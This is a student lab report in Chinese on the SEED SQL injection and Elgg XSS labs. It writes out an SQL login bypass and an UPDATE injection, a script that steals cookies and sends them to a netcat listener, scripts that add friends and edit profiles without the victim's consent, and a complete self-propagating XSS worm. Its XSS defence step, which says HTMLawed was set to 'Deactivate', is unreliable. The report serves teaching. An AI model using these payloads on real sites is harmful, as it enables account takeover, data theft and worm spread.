20253914 2025-2026-2 《网络攻防实践》第10周作业
一、实践内容
本次实验分为SQL 注入攻防、XSS 跨站脚本攻防两大模块,围绕漏洞利用与安全防护开展实操:
- SEED SQL 注入实验
- 依托员工管理 Web 站点(后台含 Users 库、creditential 员工信息表)完成四项内容:
- 基础实操:熟悉数据库与数据表结构、练习基础 SQL 查询语法;
- SELECT 注入:利用登录页漏洞,绕过密码校验非法登录网站;
- UPDATE 注入:借助个人信息更新页面漏洞,篡改数据库已有数据;
- 安全加固:采用安全编码手段修补代码漏洞,防范 SQL 注入。
二、SEED Elgg 平台 XSS 实验 - 基于 Ubuntu 虚拟机内 Elgg 社交网站,循序渐进完成 XSS 漏洞利用与防御:
- 基础弹窗:个人主页嵌入 JS,访客访问页面自动弹出提示框;
- Cookie 展示:通过脚本读取并弹窗展示访问者 Cookie;
- Cookie 窃取:构造恶意脚本,把受害者 Cookie 外传至攻击者;
- 自动化操作:利用 JS 实现不经受害者确认自动添加好友、私自篡改用户资料;
- 高级攻击:编写可自主扩散的 XSS 蠕虫,实现访问即批量感染用户;
- 防护收尾:部署对应防御方案,修补页面 XSS 漏洞。
二、实践过程
改名hostname zhangrunze

(一)SEED SQL注入攻击与防御实验
熟悉SQL语句
- 登录数据库mysql -u root -p
![image]()
- 展示数据库 show databases;
![image]()
- 查看Users的数据库use Users;
![image]()
- 查看其中的表show tables;
![image]()
- 查看credential
![image]()
- 查询Name为‘Samy’的相关信息select * from credential where Name = 'Samy';
![image]()
对SELECT语句的SQL注入攻击
- 输入网址,并打开开发者模式,输入用户名和密码,能在后台看到get请求访问unsafe_home.php
![image]()
- 在github查看unsafe_home.php源码,发现是将用户输入拼接到SQL语句中
![image]()
- 当输入Admin'#作为用户名时,实际执行的SQL变为:SELECT ... FROM CREDENTIAL WHERE name='Admin'#' 攻击者能够因此绕过密码验证获取管理员权限
![image]()
- 验证
![image]()
对UPDATE语句的SQL注入攻击
- 在个人界面输入信息提交,发现会请求unsafe_edit_frontend.php
![image]()
- 查看unsafe_edit_frontend.php源代码,发现
![image]()
- 需要注入的sql语句是UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;
- 构造 $input_nickname的值:',SSN='20253914' where name='Admin'#
可以看到Admin的SSN已被改成20253914
![image]()
SQL对抗
- 获取修改unsafe_home.php的权限chmod u+w unsafe_home.php
![image]()
- 修复源码中的漏洞
修改前
![image]()
修改后
![image]()
17.验证:发现使用Admin‘#再次登录,修复成功
![image]()
(二)SEED XSS跨站脚本攻击实验(Elgg)
发布恶意消息,显示警报窗口:在Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看该配置文件时,将执行JavaScript程序并显示一个警报窗口。
- 登录网站
![image]()
- 在edit profile中的Brief description输入XSS攻击代码并保存,发现弹出窗口
![image]()
弹窗显示cookie信息:将cookie信息显示。
- 在Brief description中填入
<script> alert(document.cookie);</script>并保存
![image]()
窃取受害者的cookies:将cookie发送给攻击者。
- 窃取Cookie并发送到监听程序上:nc -l 5555 -v
- 在Brief description中填入
<script> document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>'); </script>

成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
- 选择samy加好友,其编号为47
![image]()
- 目前并未与samy成为好友
![image]()
- 将以下命令填入About me
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=47" + ts + token;
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>

8. 发现已加好友samy

修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
9.在alice的About me中填入
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content=token+ts+"name="+userName+"&description=<p>This is 20253914David.Zhang.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var aliceGuid=45;
if(elgg.session.user.guid!=aliceGuid){
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>

10.登录samy账号,访问alice主页后,发现已被强制修改

编写蠕虫病毒
- 将以下指令写入alice的about me
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>20253914zrz"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var aliceGuid=45;
if(elgg.session.user.guid!=aliceGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
- Boby访问Alice
![image]()
XXS防御
- 在www.xsslabelgg.com/admin登录admin账号,将“HTMLawed” ——>改为"Deactivate"
![image]()
- 发现失效
![image]()
3.学习中遇到的问题及解决
- 问题1:unsafe_home.php文件不可编辑
- 问题1解决方案:通过其他同学笔记,知道需要先修改权限为可以编辑。
4.实践总结
本次网络安全攻防实验,让我通过实操切实掌握了SQL注入与XSS跨站脚本攻防的核心知识,我完成登录绕过、数据篡改等攻击操作,发现网页代码不严谨就会产生致命漏洞,也学会了通过安全编码加固防护。在Elgg平台的XSS实验中,我从基础弹窗、Cookie窃取,到自动化操控、蠕虫扩散攻击层层实操,直观见识到XSS漏洞的隐蔽性和强破坏性。
























